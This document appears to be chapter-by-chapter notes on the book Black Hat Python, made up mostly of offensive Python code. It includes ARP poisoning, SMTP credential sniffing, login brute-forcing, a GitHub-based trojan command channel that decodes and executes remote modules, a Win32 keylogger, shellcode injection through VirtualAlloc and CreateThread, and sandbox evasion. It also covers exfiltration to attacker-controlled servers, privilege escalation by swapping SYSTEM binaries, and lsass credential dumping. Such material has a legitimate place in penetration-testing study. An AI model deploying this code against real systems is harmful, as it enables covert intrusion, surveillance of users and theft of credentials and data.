Black Hat Python Skill

Chapter 2: Networking Primitives

TCP/UDP Clients and Server

import socket

# Quick TCP client
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(("target.com", 80))
client.send(b"GET / HTTP/1.1\r\nHost: target.com\r\n\r\n")
response = client.recv(4096)

# UDP client
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
client.sendto(b"data", ("target.com", 53))

# TCP server
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(("0.0.0.0", 9999))
server.listen(5)
while True:
    client, addr = server.accept()
    # handle in thread

Netcat Replacement in Python

Key capabilities: bidirectional command shell, file transfer, command execution on connect. Pattern: subprocess.run() with shell=True, relay stdin/stdout over socket.

TCP Proxy

1. Listen on local port
2. Connect to remote target
3. Relay data bidirectionally
4. hexdump() both streams for inspection

SSH with Paramiko

import paramiko

# SSH command execution
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(target, username=user, password=passwd)
stdin, stdout, stderr = client.exec_command("id")

# SSH tunneling: forward local port to remote host through SSH server
transport = client.get_transport()
channel = transport.open_channel("direct-tcpip", (remote_host, remote_port), ("127.0.0.1", 0))

---

Chapter 3: Packet Sniffer

Raw Socket Sniffer

import socket, struct, ctypes

# Linux: socket.IPPROTO_IP + promiscuous mode
# Windows: socket.IPPROTO_IP with IOCTL
sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
sniffer.bind(("0.0.0.0", 0))
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

IP Header Decoding with struct

# IP header: !BBHHHBBH4s4s = big-endian, fields: ver/ihl, tos, tot_len, id, frag_off, ttl, proto, checksum, src, dst
ip_header = struct.unpack("!BBHHHBBH4s4s", raw_data[:20])
src = socket.inet_ntoa(ip_header[8])
dst = socket.inet_ntoa(ip_header[9])
protocol = ip_header[6]  # 1=ICMP, 6=TCP, 17=UDP

Alternative: ctypes Structure

class IP(ctypes.Structure):
    _fields_ = [
        ("ihl", ctypes.c_ubyte, 4),
        ("version", ctypes.c_ubyte, 4),
        ("tos", ctypes.c_ubyte),
        ("len", ctypes.c_ushort),
        ("id", ctypes.c_ushort),
        ("offset", ctypes.c_ushort),
        ("ttl", ctypes.c_ubyte),
        ("protocol_num", ctypes.c_ubyte),
        ("sum", ctypes.c_ushort),
        ("src", ctypes.c_uint32),
        ("dst", ctypes.c_uint32),
    ]

ICMP Decoding

# After IP header (20 bytes):
icmp_type, code, checksum = struct.unpack("BBH", raw[20:24])
# type 3 = dest unreachable (use for UDP host discovery)

UDP Host Discovery Technique

Send UDP packets to closed ports → target returns ICMP type 3 “port unreachable” → proves host is up (even behind firewalls that pass ICMP).

---

Chapter 4: Scapy Network Attacks

ARP Cache Poisoning

from scapy.all import *

def poison_target(gateway_ip, gateway_mac, target_ip, target_mac):
    poison_target = ARP()
    poison_target.op = 2          # ARP reply
    poison_target.psrc = gateway_ip
    poison_target.pdst = target_ip
    poison_target.hwdst = target_mac

    poison_gateway = ARP()
    poison_gateway.op = 2
    poison_gateway.psrc = target_ip
    poison_gateway.pdst = gateway_ip
    poison_gateway.hwdst = gateway_mac

    while True:
        send(poison_target)
        send(poison_gateway)
        time.sleep(2)

Email Credential Sniffing

from scapy.all import sniff, TCP, Raw

def packet_callback(packet):
    if packet[TCP].dport == 25 or packet[TCP].sport == 25:
        if Raw in packet:
            mail_packet = bytes(packet[Raw].load)
            if b"user" in mail_packet.lower() or b"pass" in mail_packet.lower():
                print(mail_packet)

sniff(filter="tcp port 25", prn=packet_callback, store=0)

pcap File Processing

from scapy.all import rdpcap, TCP, Raw
pkts = rdpcap("capture.pcap")
for pkt in pkts:
    if TCP in pkt and Raw in pkt:
        # inspect payload

---

Chapter 5: Web Hackery

Directory Brute-Forcing

import requests, queue, threading

def dir_buster(target, wordlist):
    with open(wordlist) as f:
        words = f.read().splitlines()
    for word in words:
        url = f"{target}/{word}"
        r = requests.get(url)
        if r.status_code != 404:
            print(f"[{r.status_code}] {url}")

WordPress Plugin Fingerprinting

Fetch page → parse href and src links → extract paths like /wp-content/plugins/{name}/ → enumerate installed plugins.

Form Authentication Brute-Force

import requests

def form_brute(url, userfield, passfield, username, wordlist, fail_string):
    with open(wordlist) as f:
        passwords = f.read().splitlines()
    for password in passwords:
        data = {userfield: username, passfield: password}
        r = requests.post(url, data=data)
        if fail_string not in r.content.decode():
            print(f"[+] Found: {password}")
            break

---

Chapter 6: Burp Proxy Extension

Burp Extender Interface (Python via Jython)

from burp import IBurpExtender, IIntruderPayloadGeneratorFactory

class BurpExtender(IBurpExtender, IIntruderPayloadGeneratorFactory):
    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        callbacks.registerIntruderPayloadGeneratorFactory(self)

Site Word-to-Password Generator

Spider target site → extract all words → sort by frequency → generate wordlist. Idea: users often use site-specific terminology as passwords.

---

Chapter 7: GitHub C2

Concept: trojan polls a GitHub repository for encoded task files, executes, posts results back. Uses GitHub as a covert C2 channel — appears as legitimate HTTPS traffic.

import github3, importlib, sys, base64

def connect_to_github():
    gh = github3.login(token=TOKEN)
    repo = gh.repository(USER, REPO)
    return repo

def get_file_contents(dirname):
    repo = connect_to_github()
    for module in repo.directory_contents(dirname):
        # base64-decode and exec each module
        exec(base64.b64decode(module.content))

Python import hacking: override sys.meta_path with a custom importer that fetches modules from the C2 repo instead of the local filesystem.

---

Chapter 8: Windows Trojaning

Keylogger (Win32 API)

from ctypes import *
import win32api, win32con

def get_keys():
    keysPressed = []
    for i in range(1, 256):
        if win32api.GetAsyncKeyState(i) == -32767:
            keysPressed.append(chr(i))
    return keysPressed

Screenshot

import win32gui, win32ui, win32con, win32api
from PIL import Image

hdesktop = win32gui.GetDesktopWindow()
width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
# BitBlt desktop to bitmap → save as PNG

Shellcode Execution (Python ctypes)

import ctypes

shellcode = b"\x90\x90..."  # NOP sled + payload
buf = ctypes.create_string_buffer(shellcode, len(shellcode))
ptr = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ptr, buf, len(shellcode))
thread = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(thread, -1)

Sandbox Detection

Check for signs of sandbox environment:

• Recent file access time (sandbox VMs rarely have recently accessed files)
• Number of running processes < threshold
• Memory < threshold
• No user interaction recently

---

Chapter 9: Exfiltration

File Encryption (Fernet)

from cryptography.fernet import Fernet
key = Fernet.generate_key()
f = Fernet(key)
encrypted = f.encrypt(plaintext_data)

Exfiltration Channels

1. Email (SMTP): smtplib.SMTP — attach files to email
2. File transfer: paramiko SFTP to attacker-controlled server
3. HTTP POST: requests.post(url, data=encrypted_data) — blends with web traffic

---

Chapter 10: Windows Privilege Escalation

Process Monitoring for Privilege Discovery

import wmi, time

def log_to_file(message):
    with open("process_monitor_log.csv", "a") as f:
        print(message, file=f, flush=True)

c = wmi.WMI()
process_watcher = c.Win32_Process.watch_for("creation")
while True:
    new_process = process_watcher()
    # capture: executable, commandline, owner, privileges

Windows Token Privilege Escalation

Watch for processes running as SYSTEM that have weak file ACLs on their executable → replace binary → code runs as SYSTEM.

Pattern:

1. Monitor process creation for SYSTEM processes
2. Check binary path ACL with win32security
3. If writable: inject payload

---

Chapter 11: Offensive Memory Forensics (Volatility)

Memory Analysis with Volatility3

import volatility3
# Process list: PsList, PsScan (finds hidden processes)
# Network connections: NetStat
# Registry analysis: PrintKey
# DLL injection detection: DllList + compare against baseline

Custom Volatility Plugin

from volatility3.framework import interfaces, renderers

class MyPlugin(interfaces.plugins.PluginInterface):
    def run(self):
        for proc in self._get_processes():
            yield (0, [proc.UniqueProcessId, proc.ImageFileName])

Offensive use: dump credentials from lsass, extract encryption keys from memory, find injected shellcode by scanning for executable memory not backed by files.